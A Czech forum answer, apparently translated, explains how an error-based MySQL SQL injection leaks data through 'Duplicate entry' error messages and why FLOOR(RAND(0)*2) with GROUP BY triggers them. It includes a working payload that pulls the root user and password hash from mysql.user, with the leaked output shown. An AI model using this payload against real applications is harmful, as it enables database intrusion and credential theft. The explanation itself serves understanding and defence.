Co útok skutečně dělá
Tento útok má jemný, ale chytrý detail, který ostatním respondentům unikl. Všimněte si chybové zprávy Duplicate entry ':sjw:1:ukt:1' for key 'group_key'
. Řetězec :sjw:1:ukt:1
je ve skutečnosti výsledkem výrazu vyhodnoceného vaším serverem MySQL. Pokud vaše aplikace odešle chybový řetězec MySQL zpět do prohlížeče, chybová zpráva může uniknout data z vaší databáze.
Tento druh útoku se používá v případech, kdy výsledek dotazu není jinak odeslán zpět do prohlížeče (slepá SQL injekce), nebo když je obtížné provést klasický útok UNION SELECT. Funguje také v dotazech INSERT/UPDATE/DELETE.
Jak poznamenává Hawili, původní konkrétní dotaz neměl uniknout žádné informace, byl to jen test, aby se zjistilo, zda je vaše aplikace zranitelná vůči tomuto druhu injekce.
Útok nebyl selhání, jak navrhl MvG, příčinou této chyby je účel dotazu.
Lepší příklad toho, jak to lze použít:
> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
> 0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'
Proč došlo k chybě
Proč dotaz způsobuje tuto chybu v MySQL, je pro mě poněkud záhadou. Vypadá to na chybu MySQL, protože GROUP BY se má vypořádat s duplicitními záznamy jejich agregací. Hawiliho zjednodušení dotazu ve skutečnosti nezpůsobuje chybu!
Výraz FLOOR(RAND(0)*2)
dává následující výsledky v pořadí na základě náhodného počátečního argumentu 0:
> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
...
Protože 3. hodnota je duplikátem 2., dojde k této chybě. Může být použita jakákoli tabulka FROM s alespoň 3 řádky, ale information_schema.tables je běžná. Části COUNT(*) a GROUP BY jsou nezbytné k vyvolání chyby v MySQL:
> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
Tato chyba se nevyskytuje v dotazu ekvivalentním PostgreSQL:
# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
count | x
-------+---
83 | 0
90 | 1
(Omlouvám se, že odpovídám o 1 rok později, ale narazil jsem na to až dnes. Tato otázka je pro mě zajímavá, protože jsem si nebyl vědom, že existují způsoby úniku dat prostřednictvím chybových zpráv z MySQL)